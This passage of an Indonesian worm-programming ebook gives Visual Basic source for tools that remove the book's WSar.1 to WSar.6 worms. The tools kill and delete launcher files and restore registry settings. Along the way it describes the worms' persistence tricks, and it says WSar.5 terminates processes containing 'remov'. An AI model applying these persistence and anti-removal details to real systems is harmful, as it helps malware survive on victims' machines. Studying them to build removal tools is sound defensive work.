Procedure cmdTray_Click akan dijalankan saat user mengklik tombol Tray, kemudian jika CheckBox chkShield tidak ter-check maka akan menampilkan suatu kotak pesan "Shield is disabled, enable it now?" dan jika user mengklik tombol Yes maka mengatur nilai chkShield menjadi ter-check.

Jika nilai chkShield adalah ter-check maka procedure menggunakan function AddToTray untuk menyisipkan program pada system tray dengan menggunakan icon form aktif dan dengan ToolTipText "WSar Removal - Shield Enable", sebaliknya procedure menggunakan function AddToTray dengan menggunakan icon form aktif dan dengan ToolTipText "WSar Removal - Shield Disable".

Procedure form_MouseMove adalah procedure pembantu yang ber-fungsi untuk merespon klik mouse pada icon program di system tray, procedure ini menggunakan function RespondToTray dari module mdlTray, jika function RespondToTray mengembalikan nilai kurang dari 3 maka form ditampilkan kembali dan kemudian menghilangkan icon program dari system tray.

Page 28: Computer Worm 2-eBook

17Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Procedure tmrShield_Timer aktif setiap 0.5 detik, jika nilai ForeColor pada Label lblStatus adalah &HFFFF& (warna kuning) maka mengatur ForeColor pada Label lblStatus menjadi &H0& (warna hitam), seba-liknya jika tidak maka mengatur ForeColor pada Label lblStatus menjadi &HFFFF&, instruksi ini akan melakukan pergantian warna pada teks setiap 0.5 detik, sehingga teks tersebut akan terlihat blinking (berkedip), procedure ini juga mengeksekusi procedure CheckWorm.

Pada procedure CheckWorm, jika file 'C:\WINDOWS\Start Menu\Programs\StartUp\System File.exe’ ditemukan maka memang-gil procedure RemoveWorm, jika tidak ditemukan maka jika nilai chkShield tidak ter-check procedure akan menampilkan kotak pesan "WSar.1 Not Found".

Procedure RemoveWorm akan menghentikan proses file 'System File.exe’ yang merupakan file launcher dari WSar.1 kemudian menampilkan kotak pesan "WSar.1 found! And will be removed", kemudian menghapus file 'C:\WINDOWS\Start Menu\Programs\StartUp\System File.exe’, kemudian kembali memeriksa file tersebut, jika ditemukan maka me-nampilkan kotak pesan "WSar.1 can not removed" dan mengatur nilai chk-Shield menjadi tidak ter-check. Sebaliknya jika tidak ditemukan maka procedure menampilkan kotak pesan "WSar.1 succesfully removed".

Module mdlTray merupakan sekumpulan function API yang berfungsi untuk menempatkan program pada system tray dan beberapa function pendukung lainnya.

1.2 WSAR.2 REMOVALProgram removal ini berfungsi untuk membersihkan file launcher WSar.2 dari system komputer.

1.2.1 ALGORITMA1. Melakukan pemeriksaan terhadap eksistensi WSar.2 pada direktori

System Windows dengan nama file 'winfake.exe’

Page 29: Computer Worm 2-eBook

18Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

2. Jika file launcher WSar.2 ditemukan, maka menghentikan proses file launcher kemudian menghapus file tersebut.

3. Mengembalikan dan menghapus nilai registry yang dimanipulasi WSar.2

4. Program removal mampu melakukan pemeriksaan secara ber-kesinambungan, dan menampilkan icon pada system tray.

1.2.2 PEMROGRAMANTambahkan 2 buah Module kemudian atur properti untuk masing-masing module sebagai berikut:

Properti Module1

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Properti Module2

Jenis Nilai KeteranganName mdlTray Mengatur nama module menjadi mdlTray

Untuk module mdlWinExit Anda bisa menggunakan module yang sama pada WSar.6 dan module mdlTray dengan module yang sama pada WSar.1 Removal, kemudian ketik kode program berikut ini pada object frmRemoval.

'WSar.2 Removal by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Sub Form_Load() lblStatus.Caption = "WSar.2 Removal - Ready ..."End Sub

Private Sub chkShield_Click() If chkShield.Value = Checked Then tmrShield.Enabled = True cmdProcess.Enabled = False lblStatus.Caption = "Shield Enabled - Monitoring Worm Activity" Else

Page 30: Computer Worm 2-eBook

19Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

tmrShield.Enabled = False lblStatus.ForeColor = &HFFFF& cmdProcess.Enabled = True lblStatus.Caption = "Shield Disabled - Waiting For Instruction" End IfEnd Sub

Private Sub cmdProcess_Click() CheckWorm()End Sub

Private Sub cmdTray_Click() If chkShield.Value <> Checked Then If MsgBox("Shield is disabled, enable it now?", vbYesNo + _ vbInformation) = vbYes Then chkShield.Value = Checked End If End If If chkShield.Value = Checked Then AddToTray(Me.Icon, "WSar Removal - Shield Enable", Me) Else AddToTray(Me.Icon, "WSar Removal - Shield Disable", Me) End IfEnd Sub

Private Sub form_MouseMove(ByVal Button As Integer, ByVal Shift As _Integer, ByVal x As Single, ByVal Y As Single) If RespondToTray(x) > 0 Then ShowFormAgain(Me) RemoveFromTray() End IfEnd Sub

Private Sub tmrShield_Timer() If lblStatus.ForeColor = &HFFFF& Then lblStatus.ForeColor = &H0& Else lblStatus.ForeColor = &HFFFF& End If CheckWorm()End Sub

Private Sub CheckWorm() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) If Len(Dir$(sysfolder & "\winfake.exe")) <> 0 Then RemoveWorm() Else If chkShield.Value <> Checked Then MsgBox("WSar.2 Not Found", vbExclamation) End If End IfEnd Sub

Page 31: Computer Worm 2-eBook

20Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Private Sub RemoveWorm() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) WinExit("winfake.exe") MsgBox("WSar.2 found! And will be removed", vbExclamation + _ vbSystemModal) Kill(sysfolder & "\winfake.exe") If Len(Dir$(sysfolder & "\winfake.exe")) <> 0 Then MsgBox("WSar.2 can not removed", vbCritical) chkShield.Value = Unchecked Else ReConfig() MsgBox("WSar.2 succesfully removed", vbExclamation) End IfEnd Sub

Function RegStrDel(ByVal HiveAndKey As String) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regdelete(HiveAndKey)End Function

Function RegDword(ByVal HiveAndKey As String, ByVal Value As Integer) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value, "REG_DWORD")End Function

Private Sub ReConfig() On Error Resume Next RegDword("HKCU\Software\Microsoft\Windows\CurrentVersi" & _ "on\Policies\System\DisableRegistryTools", 0) RegStrDel("HKLM\Software\Microsoft\Windows\CurrentVersi" & _ "on\Run\windll")End Sub

Berikut penjelasan tentang kode program:

Procedure Form_Load memiliki tugas sederhana, yaitu mengatur cap-tion pada lblStatus menjadi "WSar.2 Removal - Ready ..."

Pada procedure CheckWorm, jika file 'winfake.exe’ ditemukan pada direktori System Windows maka memanggil procedure RemoveWorm, jika tidak ditemukan maka jika nilai chkShield tidak ter-check proce-dure akan menampilkan kotak pesan "WSar.2 Not Found".

Page 32: Computer Worm 2-eBook

21Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Procedure RemoveWorm akan menghentikan proses file 'winfake.exe’ yang merupakan file launcher dari WSar.2 kemudian menampilkan kotak pesan "WSar.2 found! And will be removed", kemudian menghapus file 'winfake.exe’ pada direktori System Windows. Setelah itu, kem-bali memeriksa file tersebut, jika ditemukan maka menampilkan kotak pesan "WSar.2 can not removed" dan mengatur nilai chkShield menjadi tidak ter-check, sebaliknya jika tidak ditemukan maka procedure me-nampilkan kotak pesan "WSar.2 succesfully removed".

Function RegStrDel dan RegDword merupakan function yang meng-gunakan file scripting object, masing-masing berfungsi untuk mengha-pus key pada registry dan mengatur nilai dengan jenis DWORD pada registry.

Procedure ReConfig memanipulasi nilai registry dengan mengubah nilai data 'DisableRegistryTools’ menjadi 0, dan menghapus nilai reg-istry "HKLM\Software\Microsoft\Wind ows\CurrentVersion\Run\windll" yang mana nilai registry ini akan mengaktifkan worm setiap kali Windows startup.

1.3 WSAR.3 REMOVALProgram removal ini berfungsi untuk membersihkan file launcher WSar.3 dari system komputer.

1.3.1 ALGORITMA1. Melakukan pemeriksaan terhadap eksistensi WSar.3 pada direktori

System Windows dengan nama file 'winword.exe’2. Jika file launcher WSar.3 ditemukan, maka menghentikan proses

file launcher kemudian menghapus file tersebut3. Menghapus perubahan pada file 'win.ini’ yang dimanipulasi

WSar.34. Program removal mampu melakukan pemeriksaan secara ber-

kesinambungan dan menampilkan icon pada system tray.

Page 33: Computer Worm 2-eBook

22Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

1.3.2 PEMROGRAMANTambahkan 3 buah Module kemudian atur properti untuk masing-masing module sebagai berikut:

Properti Module1

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Properti Module2

Jenis Nilai KeteranganName mdlTray Mengatur nama module menjadi mdlTray

Properti Module3

Jenis Nilai KeteranganName mdlFileIni Mengatur nama module menjadi mdlFileIni

Untuk module mdlWinExit, Anda bisa menggunakan module yang sama pada WSar.6, module mdlTray dengan module yang sama pada WSar.1 Removal dan module mdlFileIni dengan module yang sama pada WSar.3, kemudian ketik kode program berikut ini pada object frmRemoval.

'WSar.3 Removal by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Sub Form_Load() lblStatus.Caption = "WSar.3 Removal - Ready ..."End Sub

Private Sub chkShield_Click() If chkShield.Value = Checked Then tmrShield.Enabled = True cmdProcess.Enabled = False lblStatus.Caption = "Shield Enabled - Monitoring Worm Activity" Else tmrShield.Enabled = False lblStatus.ForeColor = &HFFFF& cmdProcess.Enabled = True lblStatus.Caption = "Shield Disabled - Waiting For Instruction" End IfEnd Sub

Page 34: Computer Worm 2-eBook

23Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Private Sub cmdProcess_Click() CheckWorm()End Sub

Private Sub cmdTray_Click() If chkShield.Value <> Checked Then If MsgBox("Shield is disabled, enable it now?", vbYesNo + _ vbInformation) = vbYes Then chkShield.Value = Checked End If End If If chkShield.Value = Checked Then AddToTray(Me.Icon, "WSar Removal - Shield Enable", Me) Else AddToTray(Me.Icon, "WSar Removal - Shield Disable", Me) End IfEnd Sub

Private Sub form_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, _

ByVal x As Single, ByVal Y As Single) If RespondToTray(x) > 0 Then ShowFormAgain(Me) RemoveFromTray() End IfEnd Sub

Private Sub tmrShield_Timer() If lblStatus.ForeColor = &HFFFF& Then lblStatus.ForeColor = &H0& Else lblStatus.ForeColor = &HFFFF& End If CheckWorm()End Sub

Private Sub CheckWorm() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If Len(Dir$(MainFile, vbHidden + vbReadOnly + vbSystem)) <> 0 _ Then SetAttr(MainFile, vbNormal) RemoveWorm() Else If chkShield.Value <> Checked Then MsgBox("WSar.3 Not Found", vbExclamation) End If End IfEnd Sub

Page 35: Computer Worm 2-eBook

24Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Private Sub RemoveWorm() Dim kiddie As Object Dim sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" WinExit("winword.exe") MsgBox("WSar.3 found! And will be removed", vbExclamation + _ vbSystemModal) Kill(MainFile) If Len(Dir$(MainFile)) <> 0 Then MsgBox("WSar.3 can not removed", vbCritical) chkShield.Value = Unchecked Else ReConfig() MsgBox("WSar.3 succesfully removed", vbExclamation) End IfEnd Sub

Private Sub ReConfig() On Error Resume Next Dim kiddie As Object Dim winfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) writeini("WINDOWS", "Run", " ", winfolder & "\" & "win.ini")End Sub

Berikut penjelasan tentang kode program:

Procedure Form_Load memiliki tugas sederhana, yaitu mengatur cap-tion pada lblStatus menjadi "WSar.3 Removal - Ready ..."

Pada procedure CheckWorm, jika file 'winword.exe’ dengan atribut Hidden, Read only dan System ditemukan pada direktori System Win-dows maka mengatur atribut file tersebut menjadi Normal kemudian memanggil procedure RemoveWorm, jika tidak ditemukan maka jika nilai chkShield tidak ter-check, procedure akan menampilkan kotak pesan "WSar.3 Not Found".

Procedure RemoveWorm akan menghentikan proses file 'winword.exe’ yang merupakan file launcher dari WSar.3 kemudian menampilkan kotak pesan "WSar.3 found! And will be removed", kemudian menghapus file 'winword.exe’ pada direktori System Windows. Setelah itu kem-bali memeriksa file tersebut, jika ditemukan maka menampilkan kotak pesan "WSar.3 can not removed" dan mengatur nilai chkShield menjadi tidak ter-check, sebaliknya jika tidak ditemukan maka procedure me-nampilkan kotak pesan "WSar.3 succesfully removed".

Page 36: Computer Worm 2-eBook

25Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Procedure ReConfig memanipulasi file konfigurasi "win.ini" pada sec-tion Windows dan key "Run", dengan value yang dikosongkan (penulis hanya menambahkan sebuah karakter spasi ).

1.4 WSAR.4 REMOVALProgram removal ini berfungsi untuk membersihkan file launcher WSar.4 dari system komputer.

1.4.1 ALGORITMA1. Mendapatkan direktori default startup, dari registry2. Melakukan pemeriksaan terhadap eksistensi WSar.4 pada direktori

StartUp dengan nama file 'WINLOGIN.EXE’3. Jika file launcher WSar.4 ditemukan, maka menghentikan proses

file launcher kemudian menghapus file tersebut4. Mengembalikan dan menghapus nilai registry yang dimanipulasi

WSar.45. Menghapus direktori StartUp yang dibuat oleh WSar.46. Program removal mampu melakukan pemeriksaan secara ber-

kesinambungan, dan menampilkan icon pada system tray.

1.4.2 PEMROGRAMANTambahkan 3 buah Module kemudian atur properti untuk masing-masing module sebagai berikut:

Properti Module1

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Page 37: Computer Worm 2-eBook

26Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Properti Module2

Jenis Nilai KeteranganName mdlTray Mengatur nama module menjadi mdlTray

Properti Module3

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlRegis-

tryAPI

Untuk module mdlWinExit Anda bisa menggunakan module yang sama pada WSar.6, module mdlTray dengan module yang sama pada WSar.1 Removal dan module mdlRegistryAPI dengan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada object frmRemoval.

'WSar.4 Removal by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255

Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Page 38: Computer Worm 2-eBook

27Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Private Sub Form_Load() lblStatus.Caption = "WSar.4 Removal - Ready ..."End Sub

Private Sub chkShield_Click() If chkShield.value = Checked Then tmrShield.Enabled = True cmdProcess.Enabled = False lblStatus.Caption = "Shield Enabled - Monitoring Worm Activity" Else tmrShield.Enabled = False lblStatus.ForeColor = &HFFFF& cmdProcess.Enabled = True lblStatus.Caption = "Shield Disabled - Waiting For Instruction" End IfEnd Sub

Private Sub cmdProcess_Click() CheckWorm()End Sub

Private Sub cmdTray_Click() If chkShield.value <> Checked Then If MsgBox("Shield is disabled, enable it now?", vbYesNo + _ vbInformation) = vbYes Then chkShield.value = Checked End If End If If chkShield.value = Checked Then AddToTray(Me.Icon, "WSar Removal - Shield Enable", Me) Else AddToTray(Me.Icon, "WSar Removal - Shield Disable", Me) End IfEnd Sub

Private Sub form_MouseMove(ByVal Button As Integer, ByVal Shift As _Integer, ByVal x As Single, ByVal Y As Single) If RespondToTray(x) > 0 Then ShowFormAgain(Me) RemoveFromTray() End IfEnd Sub

Private Sub tmrShield_Timer() If lblStatus.ForeColor = &HFFFF& Then lblStatus.ForeColor = &H0& Else lblStatus.ForeColor = &HFFFF& End If CheckWorm()End Sub

Page 39: Computer Worm 2-eBook

28Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Private Sub CheckWorm() On Error Resume Next Dim MainFolder, MainFile As String MainFolder = SpecialFolder(0) & "\Config\StartUp" MainFile = MainFolder & "\" & "WINLOGIN.EXE" If Len(Dir$(MainFile, vbReadOnly)) <> 0 Then SetAttr(MainFile, vbNormal) RemoveWorm() Else If chkShield.value <> Checked Then MsgBox("WSar.4 Not Found", vbExclamation) End If End IfEnd Sub

Private Sub RemoveWorm() On Error Resume Next Dim MainFolder, MainFile As String MainFolder = SpecialFolder(0) & "\Config\StartUp" MainFile = MainFolder & "\" & "WINLOGIN.EXE" WinExit("WINLOGIN.EXE") MsgBox("WSar.4 found! And will be removed", vbExclamation + _ vbSystemModal) Kill(MainFile) If Len(Dir$(MainFile, vbReadOnly)) <> 0 Then MsgBox("WSar.4 can not removed", vbCritical) chkShield.value = Unchecked Else ReConfig() MsgBox("WSar.4 succesfully removed", vbExclamation) End IfEnd Sub

Private Sub ReConfig() On Error Resume Next If Len(Dir$(SpecialFolder(0) & "\Start Menu\Programs\StartUp", _ vbDirectory)) <> 0 Then SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\User Shell Folders", _ "Startup", SpecialFolder(0) & "\Start Menu\Programs\StartUp") Else SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Explorer\User Shell Folders", _ "Startup", "%USERPROFILE%\StartMenu\Programs\Startup") End If RmDir(SpecialFolder(0) & "\Config\StartUp")End Sub

Berikut penjelasan tentang kode program:

Procedure Form_Load memiliki tugas sederhana, yaitu mengatur cap-tion pada lblStatus menjadi "WSar.4 Removal - Ready ..."

Page 40: Computer Worm 2-eBook

29Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Pada procedure CheckWorm, jika file 'WINLOGIN.EXE’ dengan atribut Read only ditemukan pada direktori Windows dan pada sub direktori "\Config\StartUp" maka mengatur atribut file tersebut men-jadi Normal kemudian memanggil procedure RemoveWorm, jika tidak ditemukan maka jika nilai chkShield tidak ter-check, procedure akan menampilkan kotak pesan "WSar.4 Not Found".

Procedure RemoveWorm akan menghentikan proses file 'WINLOGIN.EXE’ yang merupakan file launcher dari WSar.4 kemu-dian menampilkan kotak pesan "WSar.4 found! And will be removed", kemudian menghapus file 'WINLOGIN.EXE’ pada direktori System Windows dan pada sub direktori "\Config\StartUp". Setelah itu kem-bali memeriksa file tersebut, jika ditemukan maka menampilkan kotak pesan "WSar.4 can not removed" dan mengatur nilai chkShield menjadi tidak ter-check, sebaliknya jika tidak ditemukan maka procedure me-nampilkan kotak pesan "WSar.4 succesfully removed".

Pada procedure ReConfig, jika direktori Windows dan sub direktori "\Start Menu\Programs\StartUp" ditemukan maka memanipulasi ni-lai registry "Startup" pada key "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" dengan nilai berupa direktori Windows dan sub direktori "\Start Menu\Programs\StartUp", sebaliknya jika tidak ditemukan maka memanipulasi nilai registry "Startup" dengan nilai data "%USERPRO-FILE%\StartMenu\Programs\Startup", setelah itu menghapus direk-tori StartUp pada direktori Windows dan sub direktori "\Config".

1.5 WSAR.5 REMOVALProgram removal ini berfungsi untuk membersihkan file launcher WSar.5 dari system komputer.

1.5.1 ALGORITMA1. Mendapatkan direktori default startup, dari registry2. Melakukan pemeriksaan terhadap eksistensi WSar.5 pada direktori

Windows dan pada sub direktori 'Config’ dengan nama file 'sys-tem32.exe’

Page 41: Computer Worm 2-eBook

30Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

3. Jika file launcher WSar.5 ditemukan, maka menghentikan proses file launcher kemudian menghapus file tersebut

4. Mengembalikan dan menghapus nilai registry yang dimanipulasi WSar.5

5. Program removal mampu melakukan pemeriksaan secara ber-kesinambungan dan menampilkan icon pada system tray.

1.5.2 PEMROGRAMANTambahkan 3 buah Module kemudian atur properti untuk masing-masing module sebagai berikut:

Properti Module1

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Properti Module2

Jenis Nilai KeteranganName mdlTray Mengatur nama module menjadi mdlTray

Properti Module3

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlRegis-

tryAPI

Untuk module mdlWinExit Anda bisa menggunakan module yang sama pada WSar.6, module mdlTray dengan module yang sama pada WSar.1 Removal dan module mdlRegistryAPI dengan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada object frmRemoval.'WSar.5 Removal by Achmad Darmal

Page 42: Computer Worm 2-eBook

31Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255

Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Private Sub Form_Load() Me.Caption = App.EXEName App.Title = App.EXEName lblStatus.Caption = "WSar.5 Removal - Ready ..."End Sub

Private Sub chkShield_Click() If chkShield.value = Checked Then tmrShield.Enabled = True cmdProcess.Enabled = False lblStatus.Caption = "Shield Enabled - Monitoring Worm Activity" Else tmrShield.Enabled = False lblStatus.ForeColor = &HFFFF& cmdProcess.Enabled = True lblStatus.Caption = "Shield Disabled - Waiting For Instruction" End IfEnd Sub

Private Sub cmdProcess_Click() CheckWorm()End Sub

Private Sub cmdTray_Click() If chkShield.value <> Checked Then If MsgBox("Shield is disabled, enable it now?", vbYesNo + _ vbInformation) = vbYes Then chkShield.value = Checked End If End If

Page 43: Computer Worm 2-eBook

32Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

If chkShield.value = Checked Then AddToTray(Me.Icon, "WSar Removal - Shield Enable", Me) Else AddToTray(Me.Icon, "WSar Removal - Shield Disable", Me) End IfEnd Sub

Private Sub form_MouseMove(ByVal Button As Integer, _ByVal Shift As Integer, ByVal x As Single, ByVal Y As Single) If RespondToTray(x) > 0 Then ShowFormAgain(Me) RemoveFromTray() End IfEnd Sub

Private Sub tmrShield_Timer() If lblStatus.ForeColor = &HFFFF& Then lblStatus.ForeColor = &H0& Else lblStatus.ForeColor = &HFFFF& End If CheckWorm()End Sub

Private Sub CheckWorm() On Error Resume Next Dim MainFolder, MainFile As String MainFolder = SpecialFolder(0) & "\Config" MainFile = MainFolder & "\" & "system32.exe" If Len(Dir$(MainFile, vbHidden + vbSystem + vbReadOnly)) <> 0 _ Then SetAttr(MainFile, vbNormal) RemoveWorm() Else If chkShield.value <> Checked Then MsgBox("WSar.5 Not Found", vbExclamation) End If End IfEnd Sub

Private Sub RemoveWorm() On Error Resume Next Dim MainFolder, MainFile As String MainFolder = SpecialFolder(0) & "\Config" MainFile = MainFolder & "\" & "system32.exe" WinExit("system32.exe") MsgBox("WSar.5 found! And will be removed", vbExclamation + _ vbSystemModal) Kill(MainFile) If Len(Dir$(MainFile, vbHidden + vbSystem + vbReadOnly)) <> 0 _ Then MsgBox("WSar.5 can not removed", vbCritical) chkShield.value = Unchecked Else ReConfig() MsgBox("WSar.5 succesfully removed", vbExclamation) End IfEnd Sub

Page 44: Computer Worm 2-eBook

33Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Private Sub ReConfig() On Error Resume Next DeleteKey("HKEY_LOCAL_MACHINE\Software\Microsoft\W" & _ "indows\CurrentVersion\App Paths\LoadPowerProfile.EXE") SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "HideFileExt", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "SuperHidden", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ShowSuperHidden", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ClassicViewState", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\CabinetState", _ "FullPath", 0)End Sub

Berikut penjelasan tentang kode program:

Procedure Form_Load melakukan instruksi yang mengatur caption form dan title aplikasi dengan menggunakan nama file utama dan title aplikasi menjadi nama file, hal ini disebabkan caption default-nya adalah "Simple Worm Remover" yang prosesnya secara otomatis akan diakhiri oleh WSar.5 karena mengandung string "remov".

Jadi dalam hal ini Anda bisa menyimpannya dengan nama file yang berbeda, procedure kemudian mengatur caption pada lblStatus men-jadi "WSar.5 Removal - Ready ..."

Pada procedure CheckWorm jika file 'system32.exe’ dengan atribut Hidden, Read only dan System ditemukan pada direktori Windows dan pada sub direktori "\Config" maka mengatur atribut file tersebut menjadi Normal kemudian memanggil procedure RemoveWorm, jika tidak ditemukan maka jika nilai chkShield tidak ter-check, procedure akan menampilkan kotak pesan "WSar.5 Not Found".

Procedure RemoveWorm akan menghentikan proses file 'system32.exe’ yang merupakan file launcher dari WSar.5 kemudian menampilkan kotak pesan "WSar.5 found! And will be removed", kemudian mengha-pus file 'system32.exe’ pada direktori System Windows dan pada sub

Page 45: Computer Worm 2-eBook

34Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

direktori "\Config". Setelah itu, kembali memeriksa file tersebut, jika ditemukan maka menampilkan kotak pesan "WSar.5 can not removed" dan mengatur nilai chkShield menjadi tidak ter-check, sebaliknya jika tidak ditemukan maka procedure menampilkan kotak pesan "WSar.5 succesfully removed".

Procedure ReConfig memanipulasi nilai registry dengan menghapus key "HKEY_LOCAL_MACHINE\Software\Micr osoft\Windows\CurrentVersion\App Paths\LoadPowerProfile. EXE", mengubah nilai data 'Hidden’ pada key "HKEY_CURRENT_USER\Software\Micro-soft\Windows\CurrentVersion\Explorer\Advanced" menjadi 1, dan pada key yang sama mengubah nilai data 'HideFileExt’ menjadi 0, data 'SuperHidden’ menjadi 0, data 'ShowSuperHidden’ menjadi 1, data 'ClassicViewState’ menjadi 0 dan nilai data 'FullPath’ menjadi 0.

1.6 WSAR.6 REMOVALProgram removal ini berfungsi untuk membersihkan file launcher WSar.6 dari system komputer.

1.6.1 ALGORITMA1. Mendapatkan direktori default startup, dari registry2. Melakukan pemeriksaan terhadap eksistensi WSar.6 pada direktori

System Windows dengan nama file 'loadsys.exe’3. Jika file launcher WSar.6 ditemukan, maka menghentikan proses

file launcher kemudian menghapus file tersebut4. Mengembalikan manipulasi registry yang dilakukan WSar.6 dan

sekaligus menghapus file worm yang ada pada shared folder aplikasi peer to peer

5. Program removal mampu melakukan pemeriksaan secara ber-kesinambungan, dan menampilkan icon pada system tray.

Page 46: Computer Worm 2-eBook

35Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

1.6.2 PEMROGRAMANTambahkan 3 buah Module kemudian atur properti untuk masing-masing module sebagai berikut:

Properti Module1

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Properti Module2

Jenis Nilai Keterangan

Name mdlTray Mengatur nama module menjadi mdlTray

Properti Module3

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlRegis-

tryAPI

Untuk module mdlWinExit Anda bisa menggunakan module yang sama pada WSar.6, module mdlTray dengan module yang sama pada WSar.1 Removal dan module mdlRegistryAPI dengan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada object frmRemoval.

'WSar.6 Removal by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255

Page 47: Computer Worm 2-eBook

36Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

